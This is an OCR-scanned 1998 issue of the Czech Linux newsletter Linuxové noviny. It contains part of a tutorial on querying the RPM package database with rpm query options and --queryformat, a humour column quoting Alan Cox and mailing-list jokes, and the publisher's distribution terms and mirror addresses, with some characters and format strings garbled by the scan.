/usr/man/man/ncftp. 1

e V predchozi ¢asti tohoto serialu jsme vidéli, ze RPM
muze délat rozdily mezi jednotlivymi soubory v ba-
liku. Rozeznava soubory bézné, konfigura¢ni a do-
kumentaci. Prislusny typ souboru muZeme zjistovat
- seznam konfigura¢nich soubord pres prepinaé¢ -c
a seznam dokumentace pomoci -d. Napriklad seznam
dokumentace k programu /bin/bash mizeme ziskat
takto:

$ rpm -qdf /bin/bash
/usr/doc/bash-1.14.7
/usr/doc/bash-1.14.7/NEWS
/usr/doc/bash-1.14.7/README
/usr/doc/bash-1.14.7/RELEASE
/usr/info/bash.info.gz
/usr/man/mani/bash.1
/usr/man/mani/sh.1

Jak prepinac -1, tak prepinace -c a -d mohou o sou-
borech vypsat detailni informace pomoci Klice -v.

e Ziskani stavu jednotlivych soubord. Kazdy soubor da-
ného baliku muze byt v jednom ze ¢étyi stavi:

- normal: soubor je nainstalovan v systému.

- replaced: soubor byl prepsan souborem z jiné-
ho RPM baliku pouZitim —--replacefiles (resp.
—--force).

- not installed: balik byl nainstalovan, ale ten-
to soubor ne (napiiklad pri pouziti parametru
—-excludedocs).

- net shared: soubor se nachazi na svazku, ktery
byl v /etc/rpmrc oznacéen jako sitovy. Takovyto
soubor neni spravovan RPM databazi (resp. je
spravovan RPM databazi na sitovém serveru).

PrisluSny stav ke kazdému souboru lze zjistit pomoci
prepinace -s.

o Informace o tom, jaké vlastnosti dany balik poskytuje
do systému. Balik napiiklad muize obsahovat sdilené
knihovny a podobné:

$ rpm -q --provides db
libdb.so.2

o Naopak muizeme zjistit informaci o tom, které vlast-
nosti (véetné verzi) dany balik vyzaduje ke spravnému
béhu:

$ rpm -q --requires glint
/usr/bin/python

/bin/sh

tkinter

pythonlib >= 1.12

python >= 1.4

e Lze vypsat i pre/post-install a pre/post-uninstall skrip-
ty, které k baliku patii. Dosahneme toho volbou
--scripts.

Konstrukce obecnych dotazi

Vys$e uvedené priklady popisovaly urc¢ité specialni typy do-
tazd. RPM ale umoznuje vypisovat odpovédi v uplné obec-
né formé. Nebudeme zde podavat vycCerpavajici vypis, jen
v kratkosti a na nékolika prikladech vysvétlime logiku to-
hoto systému.

Zakladem obecného dotazu je volba --queryformat
Feté&zec. Tento retézec je vypsan pro kazdy dotazovany ba-
lik s tim, Ze nékteré zvlastni konstrukce se nahradi prislus-
nymi informacemi o RPM baliku. Je to trochu podobné na-
hrazovani fetézct s procenty v knihovni funkei printf (3).
RPM podporuje substituci zpétného lomitka podobné ja-
ko printf(3), takze je napiiklad mozné psat nasledujici
konstrukce:

$ rpm -qa --queryformat ’Ahoj, babi!\n’

Tento prikaz vypiSe jmenovany retézec tolikrat, kolik je
v systému nainstalovanych baliki.

Pokracujme v prikladech. Néasledujici pfikaz ukazuje im-
plicitni format vypisu odpovédi a jeho vystup je stejny, jako
kdyz ¢ast -—queryformat neuvedeme:

$ rpm -q --queryformat ’}{NAME}-){VERSION}-%{RELEASEN\n’ squid

7Z prikladu je vidét, ze RPM nahrazuje konstrukci
%{atribut} obsahem daného atributu z databaze. Nebudu
zde rozebirat vSechny dostupné atributy, jen uvedu, Ze po-
moci nasledujiciho pfikazu ziskame seznam vSech atributi
platnych v dané verzi RPM:

$ rpm --querytags |sort
ARCH
ARCHIVESIZE
VERSION
XPM

Nékteré atributy jsou v databazi ukladany ve formé éisla,
ale uzivatel by mohl chtit toto ¢islo zobrazit néjak jinak.
Napriklad datum se uklada jako pocet sekund od 1. ledna
1970, ale textovy vypis je Citelnéjsi. Vypisu v jiném formatu
dosahneme napriklad takto:

$ rpm -q --queryformat ’){INSTALLTIME:date}\n’ bash
Sat Jan 31 17:53:00 1998

Kromé formatovaciho retézce :date pro vypis ¢asu exis-
tuji jesté tyto:

e :perms - vypis pristupovych prav.

e :deflags - vypis zavislosti mezi baliky.

o :fflags - konverze éisla na c, d nebo mezeru pod-
le toho, jestli jde o konfigura¢ni, dokumentac¢ni nebo
bézny soubor.

Dale Ize jednotlivé polozky zarovnavat a vypisovat na
urcity pocet znakli podobné jako v printf (3):
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$ rpm -q --queryformat ’}4{RELEASEN\n’ squid
5

Neékteré polozky v databazi 1ze vyhodnotit vicekrat pro
jeden balik (naptiklad %{FILENAMES} - jména soubord v ba-
liku). MuUzeme proto chtit napfiklad jeden Fadek pro kaz-
dy soubor v baliku. Nebudu se poustét do syntaktickych
podrobnosti, jen uvedu priklad:

$ rpm -q --queryformat ’}{NAME} obsahuje \

soubory: \n[/{FILENAMES} (/{FILESIZES} bytes)\n]’ bash
bash obsahuje soubory:

/bin/bash (301580 bytes)

/bin/sh (4 bytes)

)ﬁér/man/manl/sh.l (6 bytes)

To je k dotazim do RPM databaze vSechno. Pristé se
budeme vénovat kontrole integrity balikil a dalSim vlast-
nostem. u

Zasmali jsme se!
Pavel Janik ml., 11. bifezna 1998

Meésic biezen (marec) je ladén spiSe pracovné, neni ¢as
na zabavu. Je to Skoda. Ale brezen je mésic Internetu. A Li-
nux by bez Internetu nebyl tam, kde je, a proto se i v brrez-
novém ¢isle zminim o nékolika malo okamdzicich, které do-
kazaly na mé tvaii vykouzlit Usmév.

Asi bych zacal jednim otfesnym zazitkem - instaloval
jsem na jeden pomeérné stary pocita¢ jeden operacni sys-
tém jedné nejmenované spolec¢nosti. Ale to by jesté neby-
lo v§echno. Na tentyz pocita¢ jsem jesté musel nainstalo-
vat jeden nejmenovany textovy editor od stejné, ale opét
nejmenované spole¢nosti. Asi na druhy nebo treti pokus se
mi to podarilo. Mozna si onen textovy editor rekl, Zze mne
uz dosti potrapil a proto mi ihned po prvnim spusténi chtél
udélat radost a vypsal:

TIP: Vite, zZe ...
Pii praci s nizkami se mizete zranit.

Pokud nevérite, zkuste si to taky - ciselnd oznaceni
onéch produktd byla 3.1CZ a 6.0CZ. BohuZel nevim, co se
stalo po stisku tlacitka [Dali], protoze za 45 minut na tom
poéitaci byl nainstalovan Red Hat Linux 5.0 a StarOffice. ..

Pouzivate sitové karty Intel EtherExpress Pro? Vite, ze
je pouziva i Linus Torvalds? A vite, jak se k intelovskym
chiptim vubec stavi Alan Cox? Pokud ne, ¢téte dale.

Remember the immortal quote ”Life is too short
to debug intel parts”. I think the EEPro is the
first intel ethernet card which weighs more than
its errata. All the intel cards go very fast, when
they go.

Pamatujte na nesmrtelné pravidlo: ,,Zivot je prili§
kratky na odladovani intelovskych soucéastek.
Myslim si, ze EEPro je prvni ethernetova karta
Intelu, ktera vazi vice nez jeji errata (seznam
chyb). VSechny intelovské karty béhaji velmi
rychle, pokud béhaji.

Alan Cox v linux-kernel
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Ctenaii listu linux@muni.ce byli jisté nemile potéseni
threadem, ktery se skryval pod subjectem ,,ADMIN: Stop
komerénim maildm“. Thread mél celkem 18 zprav (ptibliz-
né 40 kB) a jedinou zpravou, ktera méla (alespon pro mne)
vyznam, byla zprava Davida Rohledera. David byl obvinén
ze sektarstvi, ale neztratil vtipného ducha a jeho odpovéd
si mizete preéist zde:

Mam vizi: Prede mnou Fakulta informatiky. Na
nejvysSim misté se hrdé pne obrovska socha
Tuénaka. Zfanatizovani obdivovatelé Linuxu
chytaji zmatené pobihajici priznivce

Windows (TM), aby je krvavé obétovali na oltar
Nejvyssiho. Z hlubin davu se zac¢ina ozyvat:
,yYenya, Yenya.....“

David Rohleder v linux@muni.cz

Panové, prosim rozmysleme si pristé, co, kam, kdy a ja-
kou formou posilame. Neni to zbyte¢né takhle obtézovat
492 1idi?

A nakonec jsem si nechal jeden velice aktualni vtip. Dou-
fam, ze v ném nikdo nebude hledat zadny skryty vyznam
a vSichni jej pochopi tak, jak jej autor myslel.

Vite, Ze se Microsoft soudi s Tamagotchi

0 autorska prava?

........ Gates tvrdi, Ze prvni systém, o ktery se musi
¢lovék starat, aby nechcipnul, jsou Windows. . .
Petr Kubista

Doufam, Ze se na vasi tvari alespon na chvili také objevil
usmev a ze vSe, co je napsano v tomto ¢lanku, berete s hu-
morem. u
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Linuxové noviny a jejich Sireni

Linuxové noviny vydava Ceské sdruzeni uzivatell ope-
rac¢niho systému Linux pro své priznivce a sympatizanty.
Vlastnikem autorskych prav k tomutu textu jako celku je
Pavel Janik ml[(T)] Autorska prava k jednotlivym ¢lankim
zustavaji jejich autorim.

Tento text muze byt Sifen a tisknut bez omezeni. Po-
kud pouzijete ¢ast nékterého c¢lanku zde uverejnéného
v jinych dilech, musite uvést jméno autora a cislo, ve kte-
rém byl ¢élanek uverejnén.

Linuxové noviny jsou otevieny kazdému, kdo by
chtél nasim étenafim sdélit néco zajimavého. Piispévky
(ve formatu ¢istého textu v kédovani ISO 8859-2 a obraz-
ky ve formatu PNG) posilejte na adresu [(Z)] Autor nema
narok na finan¢ni odmeénu a souhlasi s podminkami uve-
denymi v tomto odstavci. Vydavatelé si vyhrazuji pravo
rozhodnout, zda VAs$ prispévek uverejni, ¢i nikoli.

Registrované znamky pouzité v tomto textu jsou ma-
jetkem jejich vlastniku.

Chtél bych podékovat Fakulté informatiky Masaryko-
vy university v Brné, INET, a.s., Juraji Bednarovi a spo-
le¢nosti OptiCom za poskytnuti diskového prostoru pro
Linuxové noviny.

Linuxové noviny muZete najit na akademické siti
CESNET [(3)] na siti IBM Global Network na adrese [(4)]
na serveru ¢asopisu Netacéik ktery je pripojen do slo-
venského SIXu, pripadné na serveru spolec¢nosti Opti-

Com [(6)] [ |

1 Pavel Janik ml.
mailto:Pavel.Janik@linux.cz

2 Adresa redakce
mailto:noviny@linux.cz

3 Linuxové noviny na siti CESNET
ftp://ftp.fi.muni.cz/pub/linux/local/noviny

4 Linuxové noviny na siti IBM Global Network
ftp://ftp.inet.cz/pub/People/Pavel. Janik/noviny

5 Slovenské zrcadlo Linuxovych novin
ftp://netacik. sk/pub/linux/cz-noviny

6 Linuxové noviny - OptiCom
http://www.mathew.sk/noviny
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